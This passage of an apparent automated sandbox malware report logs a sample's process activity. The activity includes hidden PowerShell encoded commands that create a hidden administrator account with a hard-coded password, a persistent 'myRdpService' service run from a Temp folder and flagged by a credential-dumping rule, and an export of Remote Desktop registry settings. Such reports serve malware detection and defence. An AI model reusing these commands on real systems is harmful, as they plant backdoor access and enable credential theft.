AHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Imagebase:	0x7ff7b2b90000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:44:46
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:44:46
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:44:46
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6ff180000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:44:46
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Imagebase:	0x7ff7b2b90000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:44:46
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:45:34
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7092, Parent PID: 8144

General

Target ID:	32
Start time:	06:45:34
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:45:34
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6ff180000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:45:34
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc stop "myRdpService"
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:45:34
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:45:34
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop "myRdpService"
Imagebase:	0x7ff6ff180000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:45:35
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6808, Parent PID: 6256

General

Target ID:	38
Start time:	06:45:35
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:45:35
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6ff180000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete "myRdpService"
Imagebase:	0x7ff6ff180000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:45:42
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Imagebase:	0x7ff6ff180000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:45:43
Start date:	11/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net start "myRdpService"
Imagebase:	0x7ff6d1600000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:45:43
Start date:	11/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 start "myRdpService"
Imagebase:	0x7ff60d5a0000
File size:	183'808 bytes
MD5 hash:	BA0BCCC6029FBBE6D8B41197F252742F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:45:43
Start date:	11/12/2024
Path:	C:\Windows\Temp\myRdpService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\myRdpService.exe cakoi10
Imagebase:	0x7ff7e48b0000
File size:	9'429'504 bytes
MD5 hash:	5641F3A5B9787F23D3D34F0D9F791B7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: hacktool_windows_moyix_creddump, Description: creddump is a python tool to extract credentials and secrets from Windows registry hives., Source: 0000002E.00000002.5360410933.00007FF7E4DB6000.00000004.00000001.01000000.0000000A.sdmp, Author: @mimeframe
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	06:45:49
Start date:	11/12/2024
Path:	C:\Windows\regedit.exe
Wow64 process (32bit):	false
Commandline:	"regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Imagebase:	0x7ff7efbd0000
File size:	370'176 bytes
MD5 hash:	999A30979F6195BF562068639FFC4426
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	06:45:49
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Imagebase:	0x7ff7b2b90000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	06:45:49
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	06:45:50
Start date:	11/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\systeminfo.exe"
Imagebase:	0x7ff795eb0000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	06:45:51
Start date:	11/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff71d1b0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	06:45:54
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	06:45:54
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	06:45:54
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff7b2b90000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	06:45:55
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Imagebase:	0x7ff7b2b90000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	06:45:55
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD13BD33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3843175991.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aa73b3a388bebcfae803264e5bcf9a58df5cf08b4c66ac2ccbf1e425bd8a49c
Instruction ID: cf7639d86536d6f9c9b8674f509696db6c9320b9c88c7b9427e9bd51751c7240
Opcode Fuzzy Hash: 9aa73b3a388bebcfae803264e5bcf9a58df5cf08b4c66ac2ccbf1e425bd8a49c
Instruction Fuzzy Hash: 5101677121CB0C4FD744EF0CE451AA5B7E0FB95324F10056DE58AC3651DB36E882CB45

Analysis Process: powershell.exePID: 6616, Parent PID: 5080COMMON

Executed Functions

Function 00007FFD13BDF1C6 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728f9717b69f9b5bb407a6c5ba576fc4dbd033aa6e118a8795947837c004b4c9
Instruction ID: fb562973aa69948b63152ca94fb2af132b8ee232212aa34dc28b07de5b692cec
Opcode Fuzzy Hash: 728f9717b69f9b5bb407a6c5ba576fc4dbd033aa6e118a8795947837c004b4c9
Instruction Fuzzy Hash: 59F1A231A1CA8D8FEBA8DF28C8557E937D1FF54314F04426EE84DC7691DB34A9458B82

Function 00007FFD13BDFF72 Relevance: .5, Instructions: 462COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615b018ff46747163bfd92b719b37d0dd374c2a6e912191ea6182e7ac9074825
Instruction ID: df5f0fccdec4ac35517771911c02e92eeb3961e61642c1d7febf355ae6a95813
Opcode Fuzzy Hash: 615b018ff46747163bfd92b719b37d0dd374c2a6e912191ea6182e7ac9074825
Instruction Fuzzy Hash: 50E1B530A08A4D8FEBA8DF28C8657E977D1FF54310F04427EE84DD7291DE78A9458B82

Function 00007FFD13BDB325 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed0c6c138b1fd400b2f0a005e6a58954e791a5006f7f595aba1b09548821efcf
Instruction ID: bb09c1919c33488717c96f255d96c506a5a596a54a18f3be7abcff597798b63a
Opcode Fuzzy Hash: ed0c6c138b1fd400b2f0a005e6a58954e791a5006f7f595aba1b09548821efcf
Instruction Fuzzy Hash: 1431073290CB884FEB25DB68C8556A97FF0EF56324F0841AFD089D7193DA746806CB41

Function 00007FFD13BDFB86 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4343e190282e7a0b66a71ee6910863c558e6be9f4df0b4a911aa6421d967c5d
Instruction ID: 4f2e72813cb7a45284432f225a887d8ffb069c1395ddfcd5a98ec8b8f74a5e5c
Opcode Fuzzy Hash: c4343e190282e7a0b66a71ee6910863c558e6be9f4df0b4a911aa6421d967c5d
Instruction Fuzzy Hash: D4B1D63160CA8D8FEB68DF28D8557E93BD1FF55310F14426EE88DC7292DA34A9458B82

Function 00007FFD14340620 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4219187705.00007FFD14340000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD14340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd14340000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44b375f67e81502bb36bef74f179af0218bafa42d9f844260a8170a62fc02edf
Instruction ID: 3fcc19d047c4af284500c23161f4eb751dc5552b7cc7c0c04ecc01a97b74ec97
Opcode Fuzzy Hash: 44b375f67e81502bb36bef74f179af0218bafa42d9f844260a8170a62fc02edf
Instruction Fuzzy Hash: 58515E92A4EAD61FF792677858B5294BFB09F53260B4E00FBD489CB193E80C584A8752

Function 00007FFD13BE2878 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 701db6464b414dbd801537977012d9e20cf2047a93983dc0a7f66a93cc31bd0d
Instruction ID: 30d0fd14f18d21b7ec97803e331200262dd218324396e228806b6ebfb143950d
Opcode Fuzzy Hash: 701db6464b414dbd801537977012d9e20cf2047a93983dc0a7f66a93cc31bd0d
Instruction Fuzzy Hash: 4D31A63191CB488FDB1CDB5C98466A97BE1FB99321F00422FE449D3292DB74A8568BC2

Function 00007FFD13CA27FA Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4197731279.00007FFD13CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c627ed4e14d77743e28242845284f59d944836ed9dfa55906f79dc2d76826d0e
Instruction ID: cec0f0e2e7ba9c77c9df3ecae5b2e0997dc2f34a1f4956dc51f12d58c9ba9287
Opcode Fuzzy Hash: c627ed4e14d77743e28242845284f59d944836ed9dfa55906f79dc2d76826d0e
Instruction Fuzzy Hash: 9931D423B1CE6A4FFBA4962C68616BCB3D3EF94620B5801BBD54ED3582ED04EC004380

Function 00007FFD13BDB658 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c19b864ad1150edf6eaac615e9bd28d4445aaa5899bd0ae63586ab847c254450
Instruction ID: d7ccf79f63689f76ec66cc83a194b6d0ff050ba3e88b9576053f0477f0073655
Opcode Fuzzy Hash: c19b864ad1150edf6eaac615e9bd28d4445aaa5899bd0ae63586ab847c254450
Instruction Fuzzy Hash: 49310931A0CA4C8FEF58DFA8D8467F97BE0EB56320F04016FD049D7292DA746415CB51

Function 00007FFD13BE3018 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: febef57854cfc50cc89e85b5723c9c55e2f438290d14d28828efe56138d7cfca
Instruction ID: e361bc0b0579b2da88233c3df7cfecb5b94c4986b553e6e9332eec6d38af2b28
Opcode Fuzzy Hash: febef57854cfc50cc89e85b5723c9c55e2f438290d14d28828efe56138d7cfca
Instruction Fuzzy Hash: 9321373190CA4C4FEB58DBACD84A7E97BE0EB96331F04426FD488C3152DA74A456CB92

Function 00007FFD13BDF684 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4196089388.00007FFD13BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13bd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a90702b6ab48d7ee7f1e04af8931277ac91e19eb90822ff2e05dd9a48835ee24
Instruction ID: 25ebc098436534a17eec9c8c887de35d9c722d1bb563ab9b3c201b4de91880b5
Opcode Fuzzy Hash: a90702b6ab48d7ee7f1e04af8931277ac91e19eb90822ff2e05dd9a48835ee24
Instruction Fuzzy Hash: D831E031A1D98DCEFBB49F24CD19BF932D5FF45329F400139E48D96192EA386949CB11

Function 00007FFD13CA2818 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4197731279.00007FFD13CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD13CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd13ca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36fe471854e6c49f84c0cb133c9c3f4cd851890b3ed06acf0906a84909ae14f4
Instruction ID: 6f0fdd2f4c9c89968cac9dc5acfb44f80f2e915553724049d9ee815fc76b1eeb
Opcode Fuzzy Hash: 36fe471854e6c49f84c0cb133c9c3f4cd851890b3ed06acf0906a84909ae14f4
Instruction Fuzzy Hash: 2A018623F2DD7B4BF7A9922C14751BC61C3DF94661B98017AE85EE3596ED09EC011381

Function 00007FFD13BD37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

